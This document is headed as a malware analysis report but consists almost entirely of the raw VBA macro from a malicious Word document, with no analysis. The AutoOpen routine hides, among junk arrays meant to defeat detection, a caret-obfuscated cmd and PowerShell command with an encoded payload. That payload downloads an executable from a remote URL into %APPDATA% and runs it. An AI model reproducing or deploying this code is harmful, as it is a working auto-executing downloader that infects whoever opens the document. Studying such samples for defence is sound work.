Malicious Office (OLE) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const hiLELoTOBYaizoZYFOvuwyWaRiTitNOkaCYsUcaZOfe = 0
Sub AutoOpen()
On Error Resume Next
Dim KypOQimadotijOBOSebIZatoWadeiUFquV(5)

If LenB("BidiHYQecaBUXycujeZ") < 5934 Then
KypOQimadotijOBOSebIZatoWadeiUFquV(0) = VarType(Sqr(593) + CInt("593"))
End If
KypOQimadotijOBOSebIZatoWadeiUFquV(1) = LTrim("BidiHYQecaBUXycujeZ") & "44"
KypOQimadotijOBOSebIZatoWadeiUFquV(2) = Day(593593)

If Len("KypOQimadotijOBOSebIZatoWadeiUFquV") < Len("BidiHYQecaBUXycujeZ") Then
KypOQimadotijOBOSebIZatoWadeiUFquV(3) = Weekday(5934)
End If
Dim baWaFeLaVaXiLOUtuCoduTyFoDaFOGI(5)
Dim deSAZYpOLMeCENOnjIWAxiqyLWIDikAnEsapYHu(5)

If LenB("gpanUvEHY") < 35109 Then
deSAZYpOLMeCENOnjIWAxiqyLWIDikAnEsapYHu(0) = VarType(Sqr(3510) + CInt("3510"))
End If
deSAZYpOLMeCENOnjIWAxiqyLWIDikAnEsapYHu(1) = LTrim("gpanUvEHY") & "99"
deSAZYpOLMeCENOnjIWAxiqyLWIDikAnEsapYHu(2) = Day(35103510)

If Len("deSAZYpOLMeCENOnjIWAxiqyLWIDikAnEsapYHu") < Len("gpanUvEHY") Then
deSAZYpOLMeCENOnjIWAxiqyLWIDikAnEsapYHu(3) = Weekday(35109)
End If
Dim ByhoLiXETeJOkUCeXoDBYGaDYpiTYWJIvELi(5)

If LenB("TzEDyfEleLIpOsoPYdU") < 88543 Then
ByhoLiXETeJOkUCeXoDBYGaDYpiTYWJIvELi(0) = VarType(Sqr(8854) + CInt("8854"))
End If
ByhoLiXETeJOkUCeXoDBYGaDYpiTYWJIvELi(1) = LTrim("TzEDyfEleLIpOsoPYdU") & "33"
ByhoLiXETeJOkUCeXoDBYGaDYpiTYWJIvELi(2) = Day(88548854)

If Len("ByhoLiXETeJOkUCeXoDBYGaDYpiTYWJIvELi") < Len("TzEDyfEleLIpOsoPYdU") Then
ByhoLiXETeJOkUCeXoDBYGaDYpiTYWJIvELi(3) = Weekday(88543)
End If

Dim LAheneDIaGahEpMOlUFUJorIQYnOjocYpyqUwi(5)

If LenB("SUsIXoRudIXAVaZFubuL") < 86009 Then
LAheneDIaGahEpMOlUFUJorIQYnOjocYpyqUwi(0) = VarType(Sqr(8600) + CInt("8600"))
End If
LAheneDIaGahEpMOlUFUJorIQYnOjocYpyqUwi(1) = LTrim("SUsIXoRudIXAVaZFubuL") & "99"
LAheneDIaGahEpMOlUFUJorIQYnOjocYpyqUwi(2) = Day(86008600)

If Len("LAheneDIaGahEpMOlUFUJorIQYnOjocYpyqUwi") < Len("SUsIXoRudIXAVaZFubuL") Then
LAheneDIaGahEpMOlUFUJorIQYnOjocYpyqUwi(3) = Weekday(86009)
End If
If LenB("fUhozUlYYTaLyvAk") < 28929 Then
Dim aAJIlifITUMObITiiuGHenYdIfOSOsiRiHIqoaIriiali(5)

If LenB("BubIhovIlYcEder") < 315210 Then
aAJIlifITUMObITiiuGHenYdIfOSOsiRiHIqoaIriiali(0) = VarType(Sqr(3152) + CInt("3152"))
End If
aAJIlifITUMObITiiuGHenYdIfOSOsiRiHIqoaIriiali(1) = LTrim("BubIhovIlYcEder") & "1010"
aAJIlifITUMObITiiuGHenYdIfOSOsiRiHIqoaIriiali(2) = Day(31523152)

If Len("aAJIlifITUMObITiiuGHenYdIfOSOsiRiHIqoaIriiali") < Len("BubIhovIlYcEder") Then
aAJIlifITUMObITiiuGHenYdIfOSOsiRiHIqoaIriiali(3) = Weekday(315210)
End If
Dim jUhoTiiEpIEvOCeGoTokuiAaxikohehOa(5)

If LenB("VaFIsuqOnECuhyXoFeFO") < 753910 Then
jUhoTiiEpIEvOCeGoTokuiAaxikohehOa(0) = VarType(Sqr(7539) + CInt("7539"))
End If
jUhoTiiEpIEvOCeGoTokuiAaxikohehOa(1) = LTrim("VaFIsuqOnECuhyXoFeFO") & "1010"
jUhoTiiEpIEvOCeGoTokuiAaxikohehOa(2) = Day(75397539)

If Len("jUhoTiiEpIEvOCeGoTokuiAaxikohehOa") < Len("VaFIsuqOnECuhyXoFeFO") Then
jUhoTiiEpIEvOCeGoTokuiAaxikohehOa(3) = Weekday(753910)
End If
baWaFeLaVaXiLOUtuCoduTyFoDaFOGI(0) = VarType(Sqr(2892) + CInt("2892"))
End If
Dim dylOnopYdaDUNYvaWKUvwEPUgAXUti(5)

If LenB("zUGesupIZoOQoHoRkOdy") < 38149 Then
dylOnopYdaDUNYvaWKUvwEPUgAXUti(0) = VarType(Sqr(3814) + CInt("3814"))
End If
dylOnopYdaDUNYvaWKUvwEPUgAXUti(1) = LTrim("zUGesupIZoOQoHoRkOdy") & "99"
dylOnopYdaDUNYvaWKUvwEPUgAXUti(2) = Day(38143814)

If Len("dylOnopYdaDUNYvaWKUvwEPUgAXUti") < Len("zUGesupIZoOQoHoRkOdy") Then
dylOnopYdaDUNYvaWKUvwEPUgAXUti(3) = Weekday(38149)
End If
baWaFeLaVaXiLOUtuCoduTyFoDaFOGI(1) = LTrim("fUhozUlYYTaLyvAk") & "99"
Dim CYHuCuWUlEaYXOWAxYReGUXIlyFopAbYkelIBAVEfEqo(5)

If LenB("RUtECaaaiOga") < 57029 Then
CYHuCuWUlEaYXOWAxYReGUXIlyFopAbYkelIBAVEfEqo(0) = VarType(Sqr(5702) + CInt("5702"))
End If
CYHuCuWUlEaYXOWAxYReGUXIlyFopAbYkelIBAVEfEqo(1) = LTrim("RUtECaaaiOga") & "99"
CYHuCuWUlEaYXOWAxYReGUXIlyFopAbYkelIBAVEfEqo(2) = Day(57025702)

If Len("CYHuCuWUlEaYXOWAxYReGUXIlyFopAbYkelIBAVEfEqo") < Len("RUtECaaaiOga") Then
CYHuCuWUlEaYXOWAxYReGUXIlyFopAbYkelIBAVEfEqo(3) = Weekday(57029)
End If
Dim SuaXebEgyDaiIfGUIwugUwYDidyxUYsIGUVI(5)

If LenB("xIKeSUTekaoGijySaHyiEc") < 411710 Then
SuaXebEgyDaiIfGUIwugUwYDidyxUYsIGUVI(0) = VarType(Sqr(4117) + CInt("4117"))
End If
SuaXebEgyDaiIfGUIwugUwYDidyxUYsIGUVI(1) = LTrim("xIKeSUTekaoGijySaHyiEc") & "1010"
SuaXebEgyDaiIfGUIwugUwYDidyxUYsIGUVI(2) = Day(41174117)

If Len("SuaXebEgyDaiIfGUIwugUwYDidyxUYsIGUVI") < Len("xIKeSUTekaoGijySaHyiEc") Then
SuaXebEgyDaiIfGUIwugUwYDidyxUYsIGUVI(3) = Weekday(411710)
End If
baWaFeLaVaXiLOUtuCoduTyFoDaFOGI(2) = Day(28922892)
Dim vAMojIwYwaTIbugufmiMEDUciLIPOLEzEmu(5)

If LenB("iceDOsEFoR") < 861410 Then
vAMojIwYwaTIbugufmiMEDUciLIPOLEzEmu(0) = VarType(Sqr(8614) + CInt("8614"))
End If
vAMojIwYwaTIbugufmiMEDUciLIPOLEzEmu(1) = LTrim("iceDOsEFoR") & "1010"
vAMojIwYwaTIbugufmiMEDUciLIPOLEzEmu(2) = Day(86148614)

If Len("vAMojIwYwaTIbugufmiMEDUciLIPOLEzEmu") < Len("iceDOsEFoR") Then
vAMojIwYwaTIbugufmiMEDUciLIPOLEzEmu(3) = Weekday(861410)
End If
Dim WEAkuZipypuResEMkUSEXycipINZIFiHAF(5)

If LenB("voDIGejUPuWudO") < 22642 Then
WEAkuZipypuResEMkUSEXycipINZIFiHAF(0) = VarType(Sqr(2264) + CInt("2264"))
End If
WEAkuZipypuResEMkUSEXycipINZIFiHAF(1) = LTrim("voDIGejUPuWudO") & "22"
WEAkuZipypuResEMkUSEXycipINZIFiHAF(2) = Day(22642264)

If Len("WEAkuZipypuResEMkUSEXycipINZIFiHAF") < Len("voDIGejUPuWudO") Then
WEAkuZipypuResEMkUSEXycipINZIFiHAF(3) = Weekday(22642)
End If

Dim NubycaNUtyBOfbATEGUHEzIKiWalORYHupipIn(5)

If LenB("BYdoJaNvIC") < 28214 Then
NubycaNUtyBOfbATEGUHEzIKiWalORYHupipIn(0) = VarType(Sqr(2821) + CInt("2821"))
End If
NubycaNUtyBOfbATEGUHEzIKiWalORYHupipIn(1) = LTrim("BYdoJaNvIC") & "44"
NubycaNUtyBOfbATEGUHEzIKiWalORYHupipIn(2) = Day(28212821)

If Len("NubycaNUtyBOfbATEGUHEzIKiWalORYHupipIn") < Len("BYdoJaNvIC") Then
NubycaNUtyBOfbATEGUHEzIKiWalORYHupipIn(3) = Weekday(28214)
End If
If Len("baWaFeLaVaXiLOUtuCoduTyFoDaFOGI") < Len("fUhozUlYYTaLyvAk") Then
baWaFeLaVaXiLOUtuCoduTyFoDaFOGI(3) = Weekday(28929)
Dim RalOIFukiRULYmiLEvoFOTehikawLUbYzasiTUgI(5)

If LenB("QosAqEineaEjosOa") < 97855 Then
RalOIFukiRULYmiLEvoFOTehikawLUbYzasiTUgI(0) = VarType(Sqr(9785) + CInt("9785"))
End If
RalOIFukiRULYmiLEvoFOTehikawLUbYzasiTUgI(1) = LTrim("QosAqEineaEjosOa") & "55"
RalOIFukiRULYmiLEvoFOTehikawLUbYzasiTUgI(2) = Day(97859785)

If Len("RalOIFukiRULYmiLEvoFOTehikawLUbYzasiTUgI") < Len("QosAqEineaEjosOa") Then
RalOIFukiRULYmiLEvoFOTehikawLUbYzasiTUgI(3) = Weekday(97855)
End If
Dim sUzITOkYpenAfaOxEBZYKOvYgijesI(5)

If LenB("iEMOBAaYtUxyTWEV") < 26081 Then
sUzITOkYpenAfaOxEBZYKOvYgijesI(0) = VarType(Sqr(2608) + CInt("2608"))
End If
sUzITOkYpenAfaOxEBZYKOvYgijesI(1) = LTrim("iEMOBAaYtUxyTWEV") & "11"
sUzITOkYpenAfaOxEBZYKOvYgijesI(2) = Day(26082608)

If Len("sUzITOkYpenAfaOxEBZYKOvYgijesI") < Len("iEMOBAaYtUxyTWEV") Then
sUzITOkYpenAfaOxEBZYKOvYgijesI(3) = Weekday(26081)
End If
End If
Dim XitUKOYLiZucaaMiayDburYrnawah(5)
Dim raNYPAVALYZiZUtnitNIpAmoQYzYvY(5)

If LenB("sOazamygIHOXIraZyvUSUw") < 84298 Then
raNYPAVALYZiZUtnitNIpAmoQYzYvY(0) = VarType(Sqr(8429) + CInt("8429"))
End If
raNYPAVALYZiZUtnitNIpAmoQYzYvY(1) = LTrim("sOazamygIHOXIraZyvUSUw") & "88"
raNYPAVALYZiZUtnitNIpAmoQYzYvY(2) = Day(84298429)

If Len("raNYPAVALYZiZUtnitNIpAmoQYzYvY") < Len("sOazamygIHOXIraZyvUSUw") Then
raNYPAVALYZiZUtnitNIpAmoQYzYvY(3) = Weekday(84298)
End If
Dim nuiiGYgUlaCeiIbEciKoDozQaWecIrYZ(5)

If LenB("TuWesiZyVAxywysIc") < 65373 Then
nuiiGYgUlaCeiIbEciKoDozQaWecIrYZ(0) = VarType(Sqr(6537) + CInt("6537"))
End If
nuiiGYgUlaCeiIbEciKoDozQaWecIrYZ(1) = LTrim("TuWesiZyVAxywysIc") & "33"
nuiiGYgUlaCeiIbEciKoDozQaWecIrYZ(2) = Day(65376537)

If Len("nuiiGYgUlaCeiIbEciKoDozQaWecIrYZ") < Len("TuWesiZyVAxywysIc") Then
nuiiGYgUlaCeiIbEciKoDozQaWecIrYZ(3) = Weekday(65373)
End If

Dim VUPOMeXeTJOQajOzGoTMYNuqEM(5)

If LenB("cAaJlimiKIV") < 6646 Then
VUPOMeXeTJOQajOzGoTMYNuqEM(0) = VarType(Sqr(664) + CInt("664"))
End If
VUPOMeXeTJOQajOzGoTMYNuqEM(1) = LTrim("cAaJlimiKIV") & "66"
VUPOMeXeTJOQajOzGoTMYNuqEM(2) = Day(664664)

If Len("VUPOMeXeTJOQajOzGoTMYNuqEM") < Len("cAaJlimiKIV") Then
VUPOMeXeTJOQajOzGoTMYNuqEM(3) = Weekday(6646)
End If
If LenB("VOaeCocyGubu") < 15008 Then
XitUKOYLiZucaaMiayDburYrnawah(0) = VarType(Sqr(1500) + CInt("1500"))
End If
Dim PahIcERvatoNIQinITIQYJITym(5)

If LenB("NoPOmAvvEWOaolEKiKEgibY") < 82674 Then
PahIcERvatoNIQinITIQYJITym(0) = VarType(Sqr(8267) + CInt("8267"))
End If
PahIcERvatoNIQinITIQYJITym(1) = LTrim("NoPOmAvvEWOaolEKiKEgibY") & "44"
PahIcERvatoNIQinITIQYJITym(2) = Day(82678267)

If Len("PahIcERvatoNIQinITIQYJITym") < Len("NoPOmAvvEWOaolEKiKEgibY") Then
PahIcERvatoNIQinITIQYJITym(3) = Weekday(82674)
End If
XitUKOYLiZucaaMiayDburYrnawah(1) = LTrim("VOaeCocyGubu") & "88"
Dim FuHBYIZymASlyVEboMAcOsZItUx(5)

If LenB("wUKEvUdODoiedexYMuV") < 1037 Then
FuHBYIZymASlyVEboMAcOsZItUx(0) = VarType(Sqr(103) + CInt("103"))
End If
FuHBYIZymASlyVEboMAcOsZItUx(1) = LTrim("wUKEvUdODoiedexYMuV") & "77"
FuHBYIZymASlyVEboMAcOsZItUx(2) = Day(103103)

If Len("FuHBYIZymASlyVEboMAcOsZItUx") < Len("wUKEvUdODoiedexYMuV") Then
FuHBYIZymASlyVEboMAcOsZItUx(3) = Weekday(1037)
End If
XitUKOYLiZucaaMiayDburYrnawah(2) = Day(15001500)

If Len("XitUKOYLiZucaaMiayDburYrnawah") < Len("VOaeCocyGubu") Then
XitUKOYLiZucaaMiayDburYrnawah(3) = Weekday(15008)
End If
Dim qULEtYjUPEPedYSaHJImykOcEs(5)

If LenB("WcIxykEaapOsIhIc") < 82672 Then
qULEtYjUPEPedYSaHJImykOcEs(0) = VarType(Sqr(8267) + CInt("8267"))
End If
qULEtYjUPEPedYSaHJImykOcEs(1) = LTrim("WcIxykEaapOsIhIc") & "22"
qULEtYjUPEPedYSaHJImykOcEs(2) = Day(82678267)

If Len("qULEtYjUPEPedYSaHJImykOcEs") < Len("WcIxykEaapOsIhIc") Then
qULEtYjUPEPedYSaHJImykOcEs(3) = Weekday(82672)
End If
CRukapemoxiNuanOVuVaqbapihoMIcEwniSowujuf = "d.exe /c p^O^w^e^R^s^H^e^" + Format(Chr(((7 * 10) + 6))) + "^" + Format(Chr(((7 * 10) + 6))) + "^.^e^x^e^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^" + Format(Chr(((7 * 10) + 6))) + "^w^B^k^A^D^c^A^O^Q^A^y^A^G^o^A^c^w^B^z^A^G^s^A^M^Q^A^5^A^H^U^A^c^w^B^u^A^H^M^A^a^w^B^k^A^H^g^A^b^g^B^z^A^H^c^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^j^A^G^8^A^b^Q^A^v^A^E^0^A^W^A^B^F^A^C^8^A^b^A^B^v^A^G^Q^A^c^A^B^v^A^H^M^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^w^A^G^g^A^c^A^A^/^A^G"
Dim xedIdYFyPAhoaYWYziMODYrUlumoJanOMud(5)

If LenB("TmCfUgIJUaEfu") < 51514 Then
xedIdYFyPAhoaYWYziMODYrUlumoJanOMud(0) = VarType(Sqr(5151) + CInt("5151"))
End If
xedIdYFyPAhoaYWYziMODYrUlumoJanOMud(1) = LTrim("TmCfUgIJUaEfu") & "44"
xedIdYFyPAhoaYWYziMODYrUlumoJanOMud(2) = Day(51515151)

If Len("xedIdYFyPAhoaYWYziMODYrUlumoJanOMud") < Len("TmCfUgIJUaEfu") Then
xedIdYFyPAhoaYWYziMODYrUlumoJanOMud(3) = Weekday(51514)
End If

Dim FEwUQEZAjOZaJApNyBAsEGySXuHuytIWei(5)

If LenB("kuJiPoxIlZEZ") < 758110 Then
FEwUQEZAjOZaJApNyBAsEGySXuHuytIWei(0) = VarType(Sqr(7581) + CInt("7581"))
End If
FEwUQEZAjOZaJApNyBAsEGySXuHuytIWei(1) = LTrim("kuJiPoxIlZEZ") & "1010"
FEwUQEZAjOZaJApNyBAsEGySXuHuytIWei(2) = Day(75817581)

If Len("FEwUQEZAjOZaJApNyBAsEGySXuHuytIWei") < Len("kuJiPoxIlZEZ") Then
FEwUQEZAjOZaJApNyBAsEGySXuHuytIWei(3) = Weekday(758110)
End If

Dim jeLuWyaysUxASnIKaIwoKBudvyuR(5)
Dim PiwUwfuGIbQEMoSoWidoce(5)

If LenB("rABYSituheXiX") < 13862 Then
PiwUwfuGIbQEMoSoWidoce(0) = VarType(Sqr(1386) + CInt("1386"))
End If
PiwUwfuGIbQEMoSoWidoce(1) = LTrim("rABYSituheXiX") & "22"
PiwUwfuGIbQEMoSoWidoce(2) = Day(13861386)

If Len("PiwUwfuGIbQEMoSoWidoce") < Len("rABYSituheXiX") Then
PiwUwfuGIbQEMoSoWidoce(3) = Weekday(13862)
End If

Dim VOzaTypOboMENEwiWIPYRarOJIraiaduSEGERIQUja(5)

If LenB("FivuaakIVAXA") < 31794 Then
VOzaTypOboMENEwiWIPYRarOJIraiaduSEGERIQUja(0) = VarType(Sqr(3179) + CInt("3179"))
End If
VOzaTypOboMENEwiWIPYRarOJIraiaduSEGERIQUja(1) = LTrim("FivuaakIVAXA") & "44"
VOzaTypOboMENEwiWIPYRarOJIraiaduSEGERIQUja(2) = Day(31793179)

If Len("VOzaTypOboMENEwiWIPYRarOJIraiaduSEGERIQUja") < Len("FivuaakIVAXA") Then
VOzaTypOboMENEwiWIPYRarOJIraiaduSEGERIQUja(3) = Weekday(31794)
End If
If LenB("LZokIHhyddfyRIPY") < 85194 Then
jeLuWyaysUxASnIKaIwoKBudvyuR(0) = VarType(Sqr(8519) + CInt("8519"))
End If
Dim qOJEvNuFibACUwUBuHYvifeHhym(5)

If LenB("tIYZEDWUSyzOsySEWENEq") < 1188 Then
qOJEvNuFibACUwUBuHYvifeHhym(0) = VarType(Sqr(118) + CInt("118"))
End If
qOJEvNuFibACUwUBuHYvifeHhym(1) = LTrim("tIYZEDWUSyzOsySEWENEq") & "88"
qOJEvNuFibACUwUBuHYvifeHhym(2) = Day(118118)

If Len("qOJEvNuFibACUwUBuHYvifeHhym") < Len("tIYZEDWUSyzOsySEWENEq") Then
qOJEvNuFibACUwUBuHYvifeHhym(3) = Weekday(1188)
End If
jeLuWyaysUxASnIKaIwoKBudvyuR(1) = LTrim("LZokIHhyddfyRIPY") & "44"
jeLuWyaysUxASnIKaIwoKBudvyuR(2) = Day(85198519)

If Len("jeLuWyaysUxASnIKaIwoKBudvyuR") < Len("LZokIHhyddfyRIPY") Then
jeLuWyaysUxASnIKaIwoKBudvyuR(3) = Weekday(85194)
Dim TENUdyTElimAZahGurYleMumiveLIdU(5)

If LenB("VOwuVelufeseFIxEhyz") < 2706 Then
TENUdyTElimAZahGurYleMumiveLIdU(0) = VarType(Sqr(270) + CInt("270"))
End If
TENUdyTElimAZahGurYleMumiveLIdU(1) = LTrim("VOwuVelufeseFIxEhyz") & "66"
TENUdyTElimAZahGurYleMumiveLIdU(2) = Day(270270)

If Len("TENUdyTElimAZahGurYleMumiveLIdU") < Len("VOwuVelufeseFIxEhyz") Then
TENUdyTElimAZahGurYleMumiveLIdU(3) = Weekday(2706)
End If
End If
Dim iyGIdoSariFITcOVeXysiluraweZWuhIrIhOvuL(5)

If LenB("duzagEfENAdiVinIWEfYJT") < 3610 Then
iyGIdoSariFITcOVeXysiluraweZWuhIrIhOvuL(0) = VarType(Sqr(36) + CInt("36"))
End If
iyGIdoSariFITcOVeXysiluraweZWuhIrIhOvuL(1) = LTrim("duzagEfENAdiVinIWEfYJT") & "1010"
iyGIdoSariFITcOVeXysiluraweZWuhIrIhOvuL(2) = Day(3636)

If Len("iyGIdoSariFITcOVeXysiluraweZWuhIrIhOvuL") < Len("duzagEfENAdiVinIWEfYJT") Then
iyGIdoSariFITcOVeXysiluraweZWuhIrIhOvuL(3) = Weekday(3610)
End If
Dim lesiRYzelioMatEreiWKyauqeHufeMAiC(5)

If LenB("nakEiYfamUpETiDUhUK") < 14212 Then
lesiRYzelioMatEreiWKyauqeHufeMAiC(0) = VarType(Sqr(1421) + CInt("1421"))
End If
lesiRYzelioMatEreiWKyauqeHufeMAiC(1) = LTrim("nakEiYfamUpETiDUhUK") & "22"
lesiRYzelioMatEreiWKyauqeHufeMAiC(2) = Day(14211421)

If Len("lesiRYzelioMatEreiWKyauqeHufeMAiC") < Len("nakEiYfamUpETiDUhUK") Then
lesiRYzelioMatEreiWKyauqeHufeMAiC(3) = Weekday(14212)
End If
Dim PyNOpATeKIpAnIZuvylaNURuNAQiZaraSoiIWIMEsy(5)

Dim airUsOqufnMuaEiiRiaFIferEZEhoVInYa(5)

If LenB("JosiRyjaFAVAiADux") < 60735 Then
airUsOqufnMuaEiiRiaFIferEZEhoVInYa(0) = VarType(Sqr(6073) + CInt("6073"))
End If
airUsOqufnMuaEiiRiaFIferEZEhoVInYa(1) = LTrim("JosiRyjaFAVAiADux") & "55"
airUsOqufnMuaEiiRiaFIferEZEhoVInYa(2) = Day(60736073)

If Len("airUsOqufnMuaEiiRiaFIferEZEhoVInYa") < Len("JosiRyjaFAVAiADux") Then
airUsOqufnMuaEiiRiaFIferEZEhoVInYa(3) = Weekday(60735)
End If
If LenB("hULOXPajAXoWix") < 452610 Then
PyNOpATeKIpAnIZuvylaNURuNAQiZaraSoiIWIMEsy(0) = VarType(Sqr(4526) + CInt("4526"))
Dim oRavIdzOvYxyfAMYwEFUmIgEdoSU(5)

If LenB("BAMyJUSAhefI") < 4762 Then
oRavIdzOvYxyfAMYwEFUmIgEdoSU(0) = VarType(Sqr(476) + CInt("476"))
End If
oRavIdzOvYxyfAMYwEFUmIgEdoSU(1) = LTrim("BAMyJUSAhefI") & "22"
oRavIdzOvYxyfAMYwEFUmIgEdoSU(2) = Day(476476)

If Len("oRavIdzOvYxyfAMYwEFUmIgEdoSU") < Len("BAMyJUSAhefI") Then
oRavIdzOvYxyfAMYwEFUmIgEdoSU(3) = Weekday(4762)
End If
Dim DYQuiEQeRoFaFeNyjAXykBuGOxODIjE(5)

If LenB("rOdUfaGIditehUDUa") < 61013 Then
DYQuiEQeRoFaFeNyjAXykBuGOxODIjE(0) = VarType(Sqr(6101) + CInt("6101"))
End If
DYQuiEQeRoFaFeNyjAXykBuGOxODIjE(1) = LTrim("rOdUfaGIditehUDUa") & "33"
DYQuiEQeRoFaFeNyjAXykBuGOxODIjE(2) = Day(61016101)

If Len("DYQuiEQeRoFaFeNyjAXykBuGOxODIjE") < Len("rOdUfaGIditehUDUa") Then
DYQuiEQeRoFaFeNyjAXykBuGOxODIjE(3) = Weekday(61013)
End If
End If
PyNOpATeKIpAnIZuvylaNURuNAQiZaraSoiIWIMEsy(1) = LTrim("hULOXPajAXoWix") & "1010"
Dim lAFazeLEvkAKaKumoTihTT(5)

If LenB("MoPiwOXaGeNYcuvO") < 52995 Then
lAFazeLEvkAKaKumoTihTT(0) = VarType(Sqr(5299) + CInt("5299"))
End If
lAFazeLEvkAKaKumoTihTT(1) = LTrim("MoPiwOXaGeNYcuvO") & "55"
lAFazeLEvkAKaKumoTihTT(2) = Day(52995299)

If Len("lAFazeLEvkAKaKumoTihTT") < Len("MoPiwOXaGeNYcuvO") Then
lAFazeLEvkAKaKumoTihTT(3) = Weekday(52995)
End If
PyNOpATeKIpAnIZuvylaNURuNAQiZaraSoiIWIMEsy(2) = Day(45264526)

If Len("PyNOpATeKIpAnIZuvylaNURuNAQiZaraSoiIWIMEsy") < Len("hULOXPajAXoWix") Then
Dim VOfOsVIaYnoGoBeJIjeNeSIGomo(5)

If LenB("neZOLysuwEbYDySDAcIBoMu") < 930110 Then
VOfOsVIaYnoGoBeJIjeNeSIGomo(0) = VarType(Sqr(9301) + CInt("9301"))
End If
VOfOsVIaYnoGoBeJIjeNeSIGomo(1) = LTrim("neZOLysuwEbYDySDAcIBoMu") & "1010"
VOfOsVIaYnoGoBeJIjeNeSIGomo(2) = Day(93019301)

If Len("VOfOsVIaYnoGoBeJIjeNeSIGomo") < Len("neZOLysuwEbYDySDAcIBoMu") Then
VOfOsVIaYnoGoBeJIjeNeSIGomo(3) = Weekday(930110)
End If
PyNOpATeKIpAnIZuvylaNURuNAQiZaraSoiIWIMEsy(3) = Weekday(452610)
Dim FIMUzOJASQyfUpASzYcYPUPkoCOJaTI(5)

If LenB("depekydyZOemAdIJi") < 93403 Then
FIMUzOJASQyfUpASzYcYPUPkoCOJaTI(0) = VarType(Sqr(9340) + CInt("9340"))
End If
FIMUzOJASQyfUpASzYcYPUPkoCOJaTI(1) = LTrim("depekydyZOemAdIJi") & "33"
FIMUzOJASQyfUpASzYcYPUPkoCOJaTI(2) = Day(93409340)

If Len("FIMUzOJASQyfUpASzYcYPUPkoCOJaTI") < Len("depekydyZOemAdIJi") Then
FIMUzOJASQyfUpASzYcYPUPkoCOJaTI(3) = Weekday(93403)
End If
Dim qupiQAqUHOaegypIvbyWEfUjIbiFYWYlIGapozo(5)

If LenB("RtISIdIVoGa") < 90486 Then
qupiQAqUHOaegypIvbyWEfUjIbiFYWYlIGapozo(0) = VarType(Sqr(9048) + CInt("9048"))
End If
qupiQAqUHOaegypIvbyWEfUjIbiFYWYlIGapozo(1) = LTrim("RtISIdIVoGa") & "66"
qupiQAqUHOaegypIvbyWEfUjIbiFYWYlIGapozo(2) = Day(90489048)

If Len("qupiQAqUHOaegypIvbyWEfUjIbiFYWYlIGapozo") < Len("RtISIdIVoGa") Then
qupiQAqUHOaegypIvbyWEfUjIbiFYWYlIGapozo(3) = Weekday(90486)
End If
End If
ZuSatytocyaIzAdEiJigokdoCyzUGeVUqij = "^w^A^" + Format(Chr(((40 * 20) / 10))) + "^Q^B^5^A^G^8^A^d^w^B^z^A^D^E^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^4^A^H^Q^A^M^g^A^i^A^C^w^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^g^A^C^s^A^I^A^A^n^A^F^w^A^M^g^A^w^A^D^c^A^N^Q^A^5^A^D^E^A^N^A^A^1^A^D^k^A^N^g^A^x^A^D^I^A^M^A^A^x^A^D^M^A^" + Format(Chr(((7 * 10) + 6))) + "^g^B^l^A^H^g^A^Z^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^c^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^c^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^c^A^X^A^A^y^A^D^A^A^N^w^A^1^A^D^k^A^M^Q^A^0^A^D^U^A^O^Q^A^2^A^D^E^A^M^g^A^w^A^D^E^A^M^w^A^u^A^G^U^A^e^A^B"
Dim lOialAxoHoqoShAhMahUMofoJeXaKEfUk(5)

If LenB("jOxisInoliKIGeTOv") < 86288 Then
lOialAxoHoqoShAhMahUMofoJeXaKEfUk(0) = VarType(Sqr(8628) + CInt("8628"))
End If
lOialAxoHoqoShAhMahUMofoJeXaKEfUk(1) = LTrim("jOxisInoliKIGeTOv") & "88"
lOialAxoHoqoShAhMahUMofoJeXaKEfUk(2) = Day(86288628)

If Len("lOialAxoHoqoShAhMahUMofoJeXaKEfUk") < Len("jOxisInoliKIGeTOv") Then
lOialAxoHoqoShAhMahUMofoJeXaKEfUk(3) = Weekday(86288)
End If


Dim pulHELEHaFyDyqkYDipalOdYMei(5)

If LenB("QiqolAXKVyGUSoq") < 50402 Then
pulHELEHaFyDyqkYDipalOdYMei(0) = VarType(Sqr(5040) + CInt("5040"))
End If
pulHELEHaFyDyqkYDipalOdYMei(1) = LTrim("QiqolAXKVyGUSoq") & "22"
pulHELEHaFyDyqkYDipalOdYMei(2) = Day(50405040)

If Len("pulHELEHaFyDyqkYDipalOdYMei") < Len("QiqolAXKVyGUSoq") Then
pulHELEHaFyDyqkYDipalOdYMei(3) = Weekday(50402)
End If
Dim KEzACEwTiRJOziexkiSiBIqQUFoYH(5)

If LenB("aIpIvYwyKIneleQafeK") < 67464 Then
KEzACEwTiRJOziexkiSiBIqQUFoYH(0) = VarType(Sqr(6746) + CInt("6746"))
End If
KEzACEwTiRJOziexkiSiBIqQUFoYH(1) = LTrim("aIpIvYwyKIneleQafeK") & "44"
KEzACEwTiRJOziexkiSiBIqQUFoYH(2) = Day(67466746)

If Len("KEzACEwTiRJOziexkiSiBIqQUFoYH") < Len("aIpIvYwyKIneleQafeK") Then
KEzACEwTiRJOziexkiSiBIqQUFoYH(3) = Weekday(67464)
End If
